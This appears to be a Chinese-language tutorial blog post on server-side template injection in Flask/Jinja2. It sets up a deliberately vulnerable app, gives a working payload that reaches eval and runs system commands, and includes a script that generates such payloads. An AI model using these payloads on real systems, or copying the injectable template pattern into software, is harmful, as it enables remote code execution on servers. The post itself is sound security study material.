SSTI模板注入

SSTI是个啥?

SSTI即(server-side template injection)服务器模板,平时我们常用的有sql注入,xss注入,xml注入和命令注入等等。大家应该都知道sql注入的原理以及方式,而模板注入的原理也很类似都是通过输入一些指令在后端处理进行了语句的拼接然后执行。模板注入不同的是它是针对python、php、java、nodejs、javascript或是ruby的网站处理框架。

image

沙盒逃逸的理解

我对沙盒的理解就好比虚拟机,即使被攻击也不会对真实的环境造成影响,当被病毒破坏后也十分容易重构。再讲一下蜜罐,蜜罐跟沙盒是完全不同的,沙盒的作用像是将恶意的软件放在一个封闭的盒子里进行测试,而蜜罐则是一个陷阱,专门引诱攻击者进行入侵,像是伪造了一个实际的网络,有文件服务器、web服务器等,在攻击者渗透的同时监视攻击者的行为从而分析攻击方式进行预防。

模板注入复现

首先搭建注入环境

from flask import Flask, request
from jinja2 import Template
 
app = Flask(__name__)
 
@app.route("/")
def index():
    name = request.args.get('name', 'guest')
 
    t = Template("Hello " + name)
    return t.render()
 
if __name__ == "__main__":
    app.run()

这是一个python的脚本文件,里面使用flask这个web框架以及jinja2是flask的模板。粗略的浏览了一下代码,大概知道网页就返回了一个hello guest的文本。因为要测试模板注入,所以我们用docker搭一下

docker-compose up -d
image

所谓的模板注入就是用户输入内容会作为模板内容,我们输入的值会被jinja2模板引擎渲染,举个例子通过get传参?name={{7*8}}可以得到

image

据说是官网的利用方法:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

这里我们不懂这一大堆payload是个啥,不过看{{ b'eval' }}大概能知道通过eval方法执行命令,引用os执行系统命令通过id命令获取到当前用户id

分析payload中python模板方法

![捕获3](C:\Users\lincso\Desktop\ssti\捕获3.PNG)__class__返回调用的参数的所属类。
__base__返回基类
__mro__允许我们在当前Python环境下追溯继承树,大概意思就是返回了当前下所有的类
__subclasses__()返回子类
__init__重新调用方法----python的方法是可以在特定的时候被调用的
__globals__返回所有参数------所有函数都有有一个globals,他以一个dict形式返回所有变量

基类获取小姿势

''.__class__.__mro__[-1]
{}.__class__.__base__
().__class__.__base__
[].__class__.__base__

进阶调试

获取object的子类
''.__class__.__base__.__subclasses__()
查看子类的init
''.__class__.__base__.__subclasses__()[xx].__init__
wrapper是指这些函数并没有被重载,这时他们并不是function,不具有__globals__属性
image
 ''.__class__.__base__.__subclasses__()[30].__init__.__globals__
 __globals__中会包括引入了的modules;同时每个python脚本都会自动加载 builtins 这个模块,而且这个模块包括了很多强大的built-in 函数,例如eval, exec, open等等。
 所以要从内置变量出发找到一个可以达成payload的函数(eval, exec..),只需要随便从一个内置变量调用隐藏属性,找到任意一个函数,然后查看它的__globals__['__builtins __']
 ''.__class__.__base__.__subclasses__()[30].__init__.__globals__['__builtins__']['eval']('print('successful')')

批量脚本

大佬就是大佬,根据原理写了一个批量的payload脚本nice!!!

#!/usr/bin/python3

# coding=utf-8

# python 3.5

from flask import Flask

from jinja2 import Template

# Some of special names

searchList = ['__init__', "__new__", '__del__', '__repr__', '__str__', '__bytes__', '__format__', '__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__hash__', '__bool__', '__getattr__', '__getattribute__', '__setattr__', '__dir__', '__delattr__', '__get__', '__set__', '__delete__', '__call__', "__instancecheck__", '__subclasscheck__', '__len__', '__length_hint__', '__missing__','__getitem__', '__setitem__', '__iter__','__delitem__', '__reversed__', '__contains__', '__add__', '__sub__','__mul__']

neededFunction = ['eval', 'open', 'exec']

pay = int(input("Payload?[1|0]"))

for index, i in enumerate({}.__class__.__base__.__subclasses__()):

    for attr in searchList:

        if hasattr(i, attr):

            if eval('str(i.'+attr+')[1:9]') == 'function':

                for goal in neededFunction:

                    if (eval('"'+goal+'" in i.'+attr+'.__globals__["__builtins__"].keys()')):

                        if pay != 1:

                            print(i.__name__,":", attr, goal)

                        else:

                            print("{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='" + i.__name__ + "' %}{{ c." + attr + ".__globals__['__builtins__']." + goal + "(\"[evil]\") }}{% endif %}{% endfor %}")

将生成的payload填上就行,方便了呀

总结一下

通过python内置的变量得到built-in functions执行命令,globals使寻找过程更加方便,SSTI利用思路:无法直接导入模块就先到父类再去其他子类找。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,542评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,596评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 158,021评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,682评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,792评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,985评论 1 291
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,107评论 3 410
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,845评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,299评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,612评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,747评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,441评论 4 333
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,072评论 3 317
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,828评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,069评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,545评论 2 362
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,658评论 2 350

推荐阅读更多精彩内容